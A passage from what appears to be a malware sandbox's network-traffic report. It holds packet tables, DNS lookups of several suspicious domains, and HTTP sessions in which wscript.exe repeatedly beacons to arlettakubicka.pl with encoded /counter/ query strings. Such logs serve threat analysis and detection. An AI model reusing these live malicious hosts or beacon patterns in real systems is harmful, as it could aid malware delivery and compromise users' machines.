Nov 20, 2024 08:01:46.234357119 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234365940 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.234396935 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.234896898 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234955072 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.235034943 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.235069036 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.235085011 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.235104084 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.235116959 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.235151052 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.235424042 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.235477924 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.235479116 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.235524893 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.273461103 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:46.278501987 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:46.496301889 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:46.496386051 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:46.509831905 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:46.514744997 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:46.839569092 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:46.839709997 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:46.849878073 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.854788065 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604020119 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604130030 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604140043 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604142904 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604178905 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604187965 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604187965 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604239941 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604265928 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604279041 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604290962 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604309082 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604321957 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604787111 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604830980 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604835033 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604851007 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604862928 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.604871988 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.604907036 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.605382919 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.605434895 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:47.605436087 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.605472088 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:47.623158932 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:47.628364086 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:47.846484900 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:47.846621037 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:47.911204100 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:47.916065931 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:48.245057106 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:48.245148897 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:48.271467924 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:48.277410984 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.179945946 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.179992914 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180054903 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180059910 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180090904 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180094957 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180114031 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180130959 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180145025 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180166960 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180181026 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180201054 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180216074 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180236101 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180246115 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180269003 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180284023 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180305004 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180322886 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180340052 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180355072 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180376053 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180389881 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180411100 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180429935 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180450916 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180465937 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180480957 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:49.180499077 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.180531979 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:49.610394955 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:49.610443115 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:49.610464096 CET	49708	80	192.168.2.5	94.152.13.52

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:01:40.417890072 CET	59733	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:40.427767992 CET	53	59733	1.1.1.1	192.168.2.5
Nov 20, 2024 08:01:40.487772942 CET	58060	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:40.514689922 CET	53	58060	1.1.1.1	192.168.2.5
Nov 20, 2024 08:01:41.266329050 CET	51587	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:41.300477028 CET	53	51587	1.1.1.1	192.168.2.5
Nov 20, 2024 08:01:42.248158932 CET	51697	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:42.252165079 CET	65285	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:42.261693954 CET	53	51697	1.1.1.1	192.168.2.5
Nov 20, 2024 08:01:42.265096903 CET	53	65285	1.1.1.1	192.168.2.5
Nov 20, 2024 08:01:43.439692020 CET	50392	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:43.595220089 CET	53	50392	1.1.1.1	192.168.2.5
Nov 20, 2024 08:01:46.256918907 CET	52656	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:46.266925097 CET	53	52656	1.1.1.1	192.168.2.5
Nov 20, 2024 08:01:49.191306114 CET	54953	53	192.168.2.5	1.1.1.1
Nov 20, 2024 08:01:49.282455921 CET	53	54953	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 08:01:40.417890072 CET	192.168.2.5	1.1.1.1	0x683d	Standard query (0)	shanghaizuoye.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:40.487772942 CET	192.168.2.5	1.1.1.1	0xbd6c	Standard query (0)	arlettakubicka.pl	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:41.266329050 CET	192.168.2.5	1.1.1.1	0x37d4	Standard query (0)	tamilandth.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:42.248158932 CET	192.168.2.5	1.1.1.1	0xadc0	Standard query (0)	www.tamilandth.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:42.252165079 CET	192.168.2.5	1.1.1.1	0x818	Standard query (0)	telektrim.pl	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:43.439692020 CET	192.168.2.5	1.1.1.1	0x8a8e	Standard query (0)	key33.ru	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:46.256918907 CET	192.168.2.5	1.1.1.1	0x6543	Standard query (0)	shanghaizuoye.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:49.191306114 CET	192.168.2.5	1.1.1.1	0x61b2	Standard query (0)	key33.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 08:01:40.427767992 CET	1.1.1.1	192.168.2.5	0x683d	Name error (3)	shanghaizuoye.com	none	none	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:40.514689922 CET	1.1.1.1	192.168.2.5	0xbd6c	No error (0)	arlettakubicka.pl		195.78.67.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:41.300477028 CET	1.1.1.1	192.168.2.5	0x37d4	No error (0)	tamilandth.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:41.300477028 CET	1.1.1.1	192.168.2.5	0x37d4	No error (0)	tamilandth.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:42.261693954 CET	1.1.1.1	192.168.2.5	0xadc0	No error (0)	www.tamilandth.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:42.261693954 CET	1.1.1.1	192.168.2.5	0xadc0	No error (0)	www.tamilandth.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:42.265096903 CET	1.1.1.1	192.168.2.5	0x818	No error (0)	telektrim.pl		94.152.13.52	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:43.595220089 CET	1.1.1.1	192.168.2.5	0x8a8e	Name error (3)	key33.ru	none	none	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:46.266925097 CET	1.1.1.1	192.168.2.5	0x6543	Name error (3)	shanghaizuoye.com	none	none	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:01:49.282455921 CET	1.1.1.1	192.168.2.5	0x61b2	Name error (3)	key33.ru	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

arlettakubicka.pl

tamilandth.com

telektrim.pl

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	195.78.67.14	80	3032	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:01:40.528179884 CET	457	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=11 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: arlettakubicka.pl Connection: Keep-Alive
Nov 20, 2024 08:01:41.245202065 CET	1179	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Wed, 20 Nov 2024 07:01:41 GMT server: LiteSpeed location: https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=11 vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Nov 20, 2024 08:01:43.609337091 CET	457	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=12 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: arlettakubicka.pl Connection: Keep-Alive
Nov 20, 2024 08:01:43.832540035 CET	1179	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Wed, 20 Nov 2024 07:01:43 GMT server: LiteSpeed location: https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=12 vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Nov 20, 2024 08:01:44.923015118 CET	457	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=13 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: arlettakubicka.pl Connection: Keep-Alive
Nov 20, 2024 08:01:45.146717072 CET	1179	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Wed, 20 Nov 2024 07:01:45 GMT server: LiteSpeed location: https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=13 vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Nov 20, 2024 08:01:46.273461103 CET	457	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=14 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: arlettakubicka.pl Connection: Keep-Alive
Nov 20, 2024 08:01:46.496301889 CET	1179	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Wed, 20 Nov 2024 07:01:46 GMT server: LiteSpeed location: https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=14 vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
Nov 20, 2024 08:01:47.623158932 CET	457	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=15 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: arlettakubicka.pl Connection: Keep-Alive
Nov 20, 2024 08:01:47.846484900 CET	1179	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Wed, 20 Nov 2024 07:01:47 GMT server: LiteSpeed location: https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=15 vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data 